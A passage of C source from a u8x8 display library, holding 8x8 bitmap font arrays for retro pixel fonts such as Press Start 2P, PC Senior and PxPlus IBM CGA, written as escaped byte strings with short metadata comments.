"\24\42\0\0>\177QIE\177>\0<|AB@|<\0<|@BA|<\0\70zCA" "Cz\70\0<}A@A}<\0\0\14\34rq\34\14\0\177\177\42\42\42>\34\0\0~\177!" "I\177\66\0 tUVT|x\0 tTVU|x\0 vWUW~x\0 vUW" "V}x\0 uUTU}x\0 tVUV|x\0 tT|T\134\30\0\30<\244\244" "d$$\0\70|UVT\134\30\0\70|TVU\134\30\0\70~WUW^\30\0\70}UT" "U]\30\0\0@Izx@@\0\0@Hzy@@\0\0BKy{B@\0\0AE|" "}A@\0\64{KNNy\60\0|~\5\7\6}x\0\70|EFD|\70\0\70|DF" "E|\70\0\70~GEG~\70\0\70~EGF}\70\0\70}EDE}\70\0\0\10\10*" "*\10\10\0\70|dTL|\70\0<|AB@||\0<|@BA||\0\70zCA" "Czx\0<}A@A}|\0\34\274\240\242\241\374|\0\377\377$$$<\30\0\34\275\241\240" "\241\375|"; /* Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1 Copyright: (c) 2011 Cody Glyphs: 96/556 BBX Build Mode: 3 */ const uint8_t u8x8_font_pressstart2p_r[772] U8X8_FONT_SECTION("u8x8_font_pressstart2p_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0__\7\0\0\0\0\7\7\0\7\7\0\0\42\177\177\42" "\177\177\42\0$.*\177*:\20\0F%\23\10dR\61\0\66\177I_v`P\0\0\0\7\7" "\0\0\0\0\0\0\34>cA\0\0\0Ac>\34\0\0\0\10*>\34>*\10\0\0\10\10>" ">\10\10\0\0\200\340`\0\0\0\0\0\10\10\10\10\10\10\0\0\0``\0\0\0\0@ \20\10" "\4\2\1\0\34>aAC>\34\0\0@B\177\177@@\0bsyY]OF\0 aIM" "O{\61\0\30\34\26\23\177\177\20\0'gEEE}\70\0<~KIIy\60\0\3\3qy" "\15\7\3\0\66OMYYv\60\0\6OIIi\77\36\0\0\0\66\66\0\0\0\0\0@v\66" "\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\24\0\0Ac\66\34\10\0\0\6\7SS" "[\17\6\0>A]U]Q\36\0|~\23\21\23~|\0\177\177III\177\66\0\34>cA" "Ac\42\0\177\177AAc>\34\0\177\177IIIIA\0\177\177\11\11\11\11\1\0\34>cA" "Iyy\0\177\177\10\10\10\177\177\0\0AA\177\177AA\0 `@@@\177\77\0\177\177\30<" "vcA\0\0\177\177@@@@\0\177\177\16\34\16\177\177\0\177\177\16\34\70\177\177\0>\177AA" "A\177>\0\177\177\21\21\21\37\16\0>\177AQq\77^\0\177\177\21\61yoN\0&oII" "Kz\60\0\0\1\1\177\177\1\1\0\77\177@@@\177\77\0\17\37\70p\70\37\17\0\177\177\70\34" "\70\177\177\0cw>\34>wc\0\0\7\17xx\17\7\0aqy]OGC\0\0\0\177\177" "AA\0\0\1\2\4\10\20 @\0\0AA\177\177\0\0\0\0\2\3\1\3\2\0\0\200\200\200\200" "\200\200\200\0\0\0\0\1\2\0\0\0 tTTT|x\0\77\177DDD|\70\0\70|DD" "DDD\0\70|DDD\177\177\0\70|TTT\134\30\0\0\4\4~\177\5\5\0\30\274\244\244" "\244\374|\0\177\177\4\4\4|x\0\0@D}}@@\0\0\200\200\204\375}\0\0\177\177\30\70" "|lD\0\0@A\177\177@@\0|\4||\4|x\0||\4\4\4|x\0\70|DD" "D|\70\0\374\374$$$<\30\0\30<$$$\374\374\0\0||\10\4\4\4\0H\134TT" "Tt \0\0\4\4\177\177\4\4\0<|@@@||\0\0\34<``<\34\0<@||" "@||\0ll\70\70\70ll\0\34\274\240\240\240\374|\0Ddt|\134LD\0\0\0\10>" "wA\0\0\0\0\0\177\177\0\0\0\0Aw>\10\0\0\0\10\4\14\34\30\20\10\0\0``\0" "``\0"; /* Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1 Copyright: (c) 2011 Cody Glyphs: 18/556 BBX Build Mode: 3 */ const uint8_t u8x8_font_pressstart2p_n[220] U8X8_FONT_SECTION("u8x8_font_pressstart2p_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*>\34>*\10\0\0\10\10>" ">\10\10\0\0\200\340`\0\0\0\0\0\10\10\10\10\10\10\0\0\0``\0\0\0\0@ \20\10" "\4\2\1\0\34>aAC>\34\0\0@B\177\177@@\0bsyY]OF\0 aIM" "O{\61\0\30\34\26\23\177\177\20\0'gEEE}\70\0<~KIIy\60\0\3\3qy" "\15\7\3\0\66OMYYv\60\0\6OIIi\77\36\0\0\0\66\66\0\0\0"; /* Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1 Copyright: (c) 2011 Cody Glyphs: 64/556 BBX Build Mode: 3 */ const uint8_t u8x8_font_pressstart2p_u[516] U8X8_FONT_SECTION("u8x8_font_pressstart2p_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0__\7\0\0\0\0\7\7\0\7\7\0\0\42\177\177\42" "\177\177\42\0$.*\177*:\20\0F%\23\10dR\61\0\66\177I_v`P\0\0\0\7\7" "\0\0\0\0\0\0\34>cA\0\0\0Ac>\34\0\0\0\10*>\34>*\10\0\0\10\10>" ">\10\10\0\0\200\340`\0\0\0\0\0\10\10\10\10\10\10\0\0\0``\0\0\0\0@ \20\10" "\4\2\1\0\34>aAC>\34\0\0@B\177\177@@\0bsyY]OF\0 aIM" "O{\61\0\30\34\26\23\177\177\20\0'gEEE}\70\0<~KIIy\60\0\3\3qy" "\15\7\3\0\66OMYYv\60\0\6OIIi\77\36\0\0\0\66\66\0\0\0\0\0@v\66" "\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\24\0\0Ac\66\34\10\0\0\6\7SS" "[\17\6\0>A]U]Q\36\0|~\23\21\23~|\0\177\177III\177\66\0\34>cA" "Ac\42\0\177\177AAc>\34\0\177\177IIIIA\0\177\177\11\11\11\11\1\0\34>cA" "Iyy\0\177\177\10\10\10\177\177\0\0AA\177\177AA\0 `@@@\177\77\0\177\177\30<" "vcA\0\0\177\177@@@@\0\177\177\16\34\16\177\177\0\177\177\16\34\70\177\177\0>\177AA" "A\177>\0\177\177\21\21\21\37\16\0>\177AQq\77^\0\177\177\21\61yoN\0&oII" "Kz\60\0\0\1\1\177\177\1\1\0\77\177@@@\177\77\0\17\37\70p\70\37\17\0\177\177\70\34" "\70\177\177\0cw>\34>wc\0\0\7\17xx\17\7\0aqy]OGC\0\0\0\177\177" "AA\0\0\1\2\4\10\20 @\0\0AA\177\177\0\0\0\0\2\3\1\3\2\0\0\200\200\200\200" "\200\200\200"; /* Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1 Copyright: TrueType conversion 2001 codeman38. Glyphs: 192/260 BBX Build Mode: 3 */ const uint8_t u8x8_font_pcsenior_f[1796] U8X8_FONT_SECTION("u8x8_font_pcsenior_f") = " \377\1\1\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\0\7\7\0\7\7\0\0\24\177\177\24" "\177\177\24\0$.kk:\22\0\0Ff\60\30\14fb\0\60zO]\67zH\0\4\7\3\0" "\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIof\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0\0\0\200\346f" "\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0\0Ac\66\34\10\0\0\2\3QY" "\17\6\0\0>\177A]]\37\36\0|~\23\23~|\0\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Qsr\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\17\6\0\36\77!q\177^\0\0A\177\177\11\31\177f\0&oMY" "s\62\0\0\3A\177\177A\3\0\0\177\177@@\177\177\0\0\37\77``\77\37\0\0\177\177\60\30" "\60\177\177\0Cg<\30\177D$\0\0<|@@<|@\0\34<``<\34\0\0<|p\70" "p|<\0Dl\70\20\70lD\0\234\274\240\240\374|\0\0Ldt\134Ld\0\0\10\10>w" "AA\0\0\0\0\0ww\0\0\0AAw>\10\10\0\0\2\3\1\3\2\3\1\0pxLF" "Lxp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0{{\0\0\0\30<$\347\347$$\0h~\177I" "Cf \0\0\0\0\0\0\0\0\0+/\374\374/+\0\0\0\0\0ww\0\0\0@\332\277\245" "\375Y\3\2\0\0\0\0\0\0\0\0~\201\225\261\261\225\201~\0&/)//(\0\10\34\66\42" "\10\34\66\42\10\10\10\10\70\70\0\0\10\10\10\10\10\10\0\0\300\377\177\5\5e\177\77\0\0\0\0" "\0\0\0\0\0\6\17\11\17\6\0\0DD__DD\0\0\0\31\35\27\22\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\376~ >\36\0\6\17\11\177\177\1\177\177\0\0\0\30" "\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&/)/&\0\0\42\66\34\10" "\42\66\34\10Oo\60\30lv\373\371o_(\324\262\325\253\221\0\0\0\0\0\0\0\0\60xME" "` \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0y}\26\22\26}y\0px++xp\0\0|~\13\11\177\177I\0\16\237\221\261" "\373J\0\0\0\0\0\0\0\0\0\0D||UUE\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0}}\31\61}}\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\31\24\0\0!uUT|x@\0 tTU}y@\0\2#uUU}{B\0\0\0\0" "\0\0\0\0!uTT}y@\0 tWW|x@\0 tTT||TT\30<\244\244" "\344@\0\0\71}UT\134\30\0\0\70|TU]\31\0\0\2;}UU]\33\2\71}TT" "]\31\0\0\1E}|@\0\0\0\0D}}A\0\0\0\2\3E}}C\2\0\1E||" "A\1\0\0\0\0\0\0\0\0\0\0zz\12\12zp\0\0\62zJHx\60\0\0\60xHJ" "z\62\0\0\62{II{\62\0\0\0\0\0\0\0\0\0\0\62zHHz\62\0\0\10\10kk" "\10\10\0\0\0\0\0\0\0\0\0\0:zB@xx@\0\70x@Bzz@\0:{AA" "{z@\0:z@@zz@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\232\272\240\240" "\372z\0"; /* Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1 Copyright: TrueType conversion 2001 codeman38. Glyphs: 96/260 BBX Build Mode: 3 */ const uint8_t u8x8_font_pcsenior_r[772] U8X8_FONT_SECTION("u8x8_font_pcsenior_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\0\7\7\0\7\7\0\0\24\177\177\24" "\177\177\24\0$.kk:\22\0\0Ff\60\30\14fb\0\60zO]\67zH\0\4\7\3\0" "\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIof\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0\0\0\200\346f" "\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0\0Ac\66\34\10\0\0\2\3QY" "\17\6\0\0>\177A]]\37\36\0|~\23\23~|\0\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Qsr\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\17\6\0\36\77!q\177^\0\0A\177\177\11\31\177f\0&oMY" "s\62\0\0\3A\177\177A\3\0\0\177\177@@\177\177\0\0\37\77``\77\37\0\0\177\177\60\30" "\60\177\177\0Cg<\30\177D$\0\0<|@@<|@\0\34<``<\34\0\0<|p\70" "p|<\0Dl\70\20\70lD\0\234\274\240\240\374|\0\0Ldt\134Ld\0\0\10\10>w" "AA\0\0\0\0\0ww\0\0\0AAw>\10\10\0\0\2\3\1\3\2\3\1\0pxLF" "Lxp"; /* Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1 Copyright: TrueType conversion 2001 codeman38. Glyphs: 18/260 BBX Build Mode: 3 */ const uint8_t u8x8_font_pcsenior_n[220] U8X8_FONT_SECTION("u8x8_font_pcsenior_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIof\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0"; /* Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1 Copyright: TrueType conversion 2001 codeman38. Glyphs: 64/260 BBX Build Mode: 3 */ const uint8_t u8x8_font_pcsenior_u[517] U8X8_FONT_SECTION("u8x8_font_pcsenior_u") = " _\1\1\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\0\7\7\0\7\7\0\0\24\177\177\24" "\177\177\24\0$.kk:\22\0\0Ff\60\30\14fb\0\60zO]\67zH\0\4\7\3\0" "\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIof\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0\0\0\200\346f" "\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0\0Ac\66\34\10\0\0\2\3QY" "\17\6\0\0>\177A]]\37\36\0|~\23\23~|\0\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Qsr\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\17\6\0\36\77!q\177^\0\0A\177\177\11\31\177f\0&oMY" "s\62\0\0\3A\177\177A\3\0\0\177\177@@\177\177\0\0\37\77``\77\37\0\0\177\177\60\30" "\60\177\177\0Cg<\30" "\10\10\0\0\0\0\200`\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0`\0\0\0\0\0@ \20" "\10\4\2\0\0>aQIE>\0\0DB\177@@\0\0\0bQQIIf\0\0\42AI" "II\66\0\20\30\24R\177P\20\0\0'EEEE\71\0\0A]UU\36\0\0|\22\21\21\22|\0\0A\177III\66\0\0\34\42A" "AA\42\0\0A\177AA\42\34\0\0A\177I]Ac\0\0A\177I\35\1\3\0\0\34\42A" "QQr\0\0\177\10\10\10\10\177\0\0\0A\177A\0\0\0\0\60@@A\77\1\0\0A\177\10" "\24\42A@\0A\177A@@`\0\0\177\1\2\4\2\1\177\0\177\1\2\4\10\177\0\0\34\42A" "A\42\34\0\0A\177I\11\11\6\0\0\36!!\61!^@\0A\177I\31)F\0\0&II" "II\62\0\0\3\1A\177A\1\3\0\77@@@@\77\0\0\17\20 @ \20\17\0\77@@" "\70@@\77\0A\42\24\10\24\42A\0\1\2DxD\2\1\0CaQIECa\0\177AA" "A\0\0\0\1\2\4\10\20 @\0\0AAA\177\0\0\0\10\4\2\1\2\4\10\0\200\200\200\200" "\200\200\200\200\0\0\0\3\4\0\0\0\0 TTTTx@\0\1\177\60HHH\60\0\70DD" "DD(\0\0\60HHH\61\177@\0\70TTTT\30\0\0\0H~I\1\2\0\0\230\244\244" "\244\244x\4\0A\177\10\4\4x\0\0\0D}@\0\0\0\0`\200\200\200\204}\0\0\1\177\20" "(D@\0\0\0A\177@\0\0\0\0|\4\4x\4\4x\0|\10\4\4\4x\0\0\70DD" "DD\70\0\0\204\374\230$$\30\0\0\30$$\230\374\204\0\0D|H\4\4\30\0\0HTT" "TT$\0\0\4\4\77DD \0\0<@@@ |\0\0\14\20 @ \20\14\0<@@" "\70@@<\0D(\20(D\0\0\0\234\240\240\240\240|\0\0DdTLD\0\0\0\10\10\66" "AA\0\0\0\0\0w\0\0\0\0\0\0AA\66\10\10\0\0\2\1\1\2\2\1\0\0pHD" "BDHp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0z\0\0\0\0\0\30$$\347$$\0\0h^I" "AB \0BZ$$$ZB\0\0\25\26|\26\25\0\0\0\0\0w\0\0\0\0@\332\247\245" "\345Y\3\2\0\1\0\0\0\1\0\0~\201\231\245\245\201~\0\0&)))/(\0\0\10\24\42" "\10\24\42\0\0\10\10\10\10\10\70\0\0\10\10\10\10\10\10\0~\201\275\225\251\201~\0\1\1\1\1" "\1\1\1\1\0\6\11\11\6\0\0\0\0DD_DD\0\0\0\22\31\25\22\0\0\0\0\12\21\25" "\12\0\0\0\0\0\0\2\1\0\0\0\200~\20\20\20\16\20\0\6\11\11\177\1\1\177\1\0\0\0\20" "\20\0\0\0\0\0\200\200\240@\0\0\0\22\37\20\0\0\0\0\0&)))&\0\0\0\42\24\10" "\42\24\10\0J/\30(\64*\375 J/\30\210\324\312\251\260\225U*PhT\372@\0\60HE" "@@ \0\1y\24\22\22\24x\0\0x\24\22\22\24y\1\0r)%%)r\0\0y\25\25" "\25\25y\0\0y\24\22\22\24y\0\0p(++(p\0\0|\12\11\11\177II\0\16\221\221" "\261\261J\0\0E}TTD\0\0\0D|TUE\0\0\2E}UUE\2\0\0E|T" "TE\0\0\0\1E|D\0\0\0\0\0D|E\1\0\0\2\1E}E\1\2\0\0\1D|" "D\1\0\0\0I\177IA\42\34\0\0z\11\21\42Cx\0\1\31$BB$\30\0\0\30$B" "B$\31\1\22)EEE)\22\0\0\21)EEE)\21\0\31$BB$\31\0\0\42\24\10" "\24\42\0\0>qYIMG>\0\0=A@@@<\0\0<@@@A=\0\0:AA" "AA:\0\0=@@@@=\0\0\4HpH\5\1\0\0A\177U\24\24\10\0\0~\1\1" "IV \0\0 UUTx@\0\0 TTUy@\0\0\42UUUyB\0\0!UU" "UUy@\0!TTTxA\0\0 TUTx@\0\0 TTx\70TT\0\30$\244" "\244\344@\0\0\70UUTT\30\0\0\70TTUU\30\0\0:UUUU\32\0\0\71TT" "TT\31\0\0\0\1E|@\0\0\0\0\0D}A\0\0\2\1E}A\2\0\0\0\0\1D" "|A\0\0\0\60JJK>\2\0\0z\11\11\12\12q\0\0\60IJHH\60\0\0\60HH" "JI\60\0\0\60JIIJ\60\0\0\62JJJJ\62\0\0\62HHHH\62\0\0\10\10k" "k\10\10\0\270DdTLD:\0\0\70AB@@\70\0\0\70@@DB\70\0\0\70BA" "AB\70\0\0:@@@z@\0\0\30\240\240\240\242z\0\0\201\377\244$$\30\0\0\32\240\240" "\240\240z"; /* Fontname: -FreeType-PxPlus IBM CGAthin-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 96/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplusibmcgathin_r[773] U8X8_FONT_SECTION("u8x8_font_pxplusibmcgathin_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0\6_\6\0\0\0\0\0\7\0\0\7\0\0\0\24\177\24" "\24\177\24\0\0$*kk*\22\0\0F&\20\10db\0\60JEM\62HH\0\0\0\4\3" "\0\0\0\0\0\34\42A\0\0\0\0\0\0A\42\34\0\0\0\10*\34\34\34*\10\0\0\10\10>" "\10\10\0\0\0\0\200`\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0`\0\0\0\0\0@ \20" "\10\4\2\0\0>aQIE>\0\0DB\177@@\0\0\0bQQIIf\0\0\42AI" "II\66\0\20\30\24R\177P\20\0\0'EEEE\71\0\0A]UU\36\0\0|\22\21\21\22|\0\0A\177III\66\0\0\34\42A" "AA\42\0\0A\177AA\42\34\0\0A\177I]Ac\0\0A\177I\35\1\3\0\0\34\42A" "QQr\0\0\177\10\10\10\10\177\0\0\0A\177A\0\0\0\0\60@@A\77\1\0\0A\177\10" "\24\42A@\0A\177A@@`\0\0\177\1\2\4\2\1\177\0\177\1\2\4\10\177\0\0\34\42A" "A\42\34\0\0A\177I\11\11\6\0\0\36!!\61!^@\0A\177I\31)F\0\0&II" "II\62\0\0\3\1A\177A\1\3\0\77@@@@\77\0\0\17\20 @ \20\17\0\77@@" "\70@@\77\0A\42\24\10\24\42A\0\1\2DxD\2\1\0CaQIECa\0\177AA" "A\0\0\0\1\2\4\10\20 @\0\0AAA\177\0\0\0\10\4\2\1\2\4\10\0\200\200\200\200" "\200\200\200\200\0\0\0\3\4\0\0\0\0 TTTTx@\0\1\177\60HHH\60\0\70DD" "DD(\0\0\60HHH\61\177@\0\70TTTT\30\0\0\0H~I\1\2\0\0\230\244\244" "\244\244x\4\0A\177\10\4\4x\0\0\0D}@\0\0\0\0`\200\200\200\204}\0\0\1\177\20" "(D@\0\0\0A\177@\0\0\0\0|\4\4x\4\4x\0|\10\4\4\4x\0\0\70DD" "DD\70\0\0\204\374\230$$\30\0\0\30$$\230\374\204\0\0D|H\4\4\30\0\0HTT" "TT$\0\0\4\4\77DD \0\0<@@@ |\0\0\14\20 @ \20\14\0<@@" "\70@@<\0D(\20(D\0\0\0\234\240\240\240\240|\0\0DdTLD\0\0\0\10\10\66" "AA\0\0\0\0\0w\0\0\0\0\0\0AA\66\10\10\0\0\2\1\1\2\2\1\0\0pHD" "BDHp"; /* Fontname: -FreeType-PxPlus IBM CGAthin-Medium-R-Normal--8-80-72-72-P-64-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 18/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplusibmcgathin_n[220] U8X8_FONT_SECTION("u8x8_font_pxplusibmcgathin_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*\34\34\34*\10\0\0\10\10>" "\10\10\0\0\0\0\200`\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0`\0\0\0\0\0@ \20" "\10\4\2\0\0>aQIE>\0\0DB\177@@\0\0\0bQQIIf\0\0\42AI" "II\66\0\20\30\24R\177P\20\0\0'EEEE\71\0\0" "\10\10\0\0\0\0\200`\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0`\0\0\0\0\0@ \20" "\10\4\2\0\0>aQIE>\0\0DB\177@@\0\0\0bQQIIf\0\0\42AI" "II\66\0\20\30\24R\177P\20\0\0'EEEE\71\0\0A]UU\36\0\0|\22\21\21\22|\0\0A\177III\66\0\0\34\42A" "AA\42\0\0A\177AA\42\34\0\0A\177I]Ac\0\0A\177I\35\1\3\0\0\34\42A" "QQr\0\0\177\10\10\10\10\177\0\0\0A\177A\0\0\0\0\60@@A\77\1\0\0A\177\10" "\24\42A@\0A\177A@@`\0\0\177\1\2\4\2\1\177\0\177\1\2\4\10\177\0\0\34\42A" "A\42\34\0\0A\177I\11\11\6\0\0\36!!\61!^@\0A\177I\31)F\0\0&II" "II\62\0\0\3\1A\177A\1\3\0\77@@@@\77\0\0\17\20 @ \20\17\0\77@@" "\70@@\77\0A\42\24\10\24\42A\0\1\2DxD\2\1\0CaQIECa\0\177AA" "A\0\0\0\1\2\4\10\20 @\0\0AAA\177\0\0\0\10\4\2\1\2\4\10\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FreeType-PxPlus IBM CGA-Medium-R-Normal--8-80-72-72-P-68-ISO10646-1 Copyright: Outline (vector) version (c) 2015 VileR Glyphs: 192/781 BBX Build Mode: 3 */ const uint8_t u8x8_font_pxplusibmcga_f[1796] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_f") = " \377\1\1\0\0\0\0\0\0\0\0\0\6__\6\0\0\0\0\7\7\0\7\7\0\0\24\177\177\24" "\177\177\24\0$.kk:\22\0\0Ff\60\30\14fb\0\60zO]\67zH\0\4\7\3\0" "\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\10*>\34\34>*\10\10\10>>" "\10\10\0\0\0\200\340`\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30\14" "\6\3\1\0>\177qYM\177>\0@B\177\177@@\0\0bsYIOf\0\0\42cII" "\177\66\0\0\30\34\26S\177\177P\0'gEE}\71\0\0<~KIy\60\0\0\3\3qy" "\17\7\0\0\66\177II\177\66\0\0\6OIi\77\36\0\0\0\0ff\0\0\0\0\0@v\66" "\0\0\0\0\10\34\66cA\0\0\0$$$$$$\0\0\0Ac\66\34\10\0\0\2\3QY" "\17\6\0\0>\177A]]\37\36\0|~\23\23~|\0\0A\177\177II\177\66\0\34>cA" "Ac\42\0A\177\177Ac>\34\0A\177\177I]Ac\0A\177\177I\35\1\3\0\34>cA" "Qsr\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0\60p@A\177\77\1\0A\177\177\10" "\34wc\0A\177\177A@`p\0\177\177\16\34\16\177\177\0\177\177\6\14\30\177\177\0\34>cA" "c>\34\0A\177\177I\11\17\6\0\36\77!q\177^\0\0A\177\177\11\31\177f\0\42gMY" 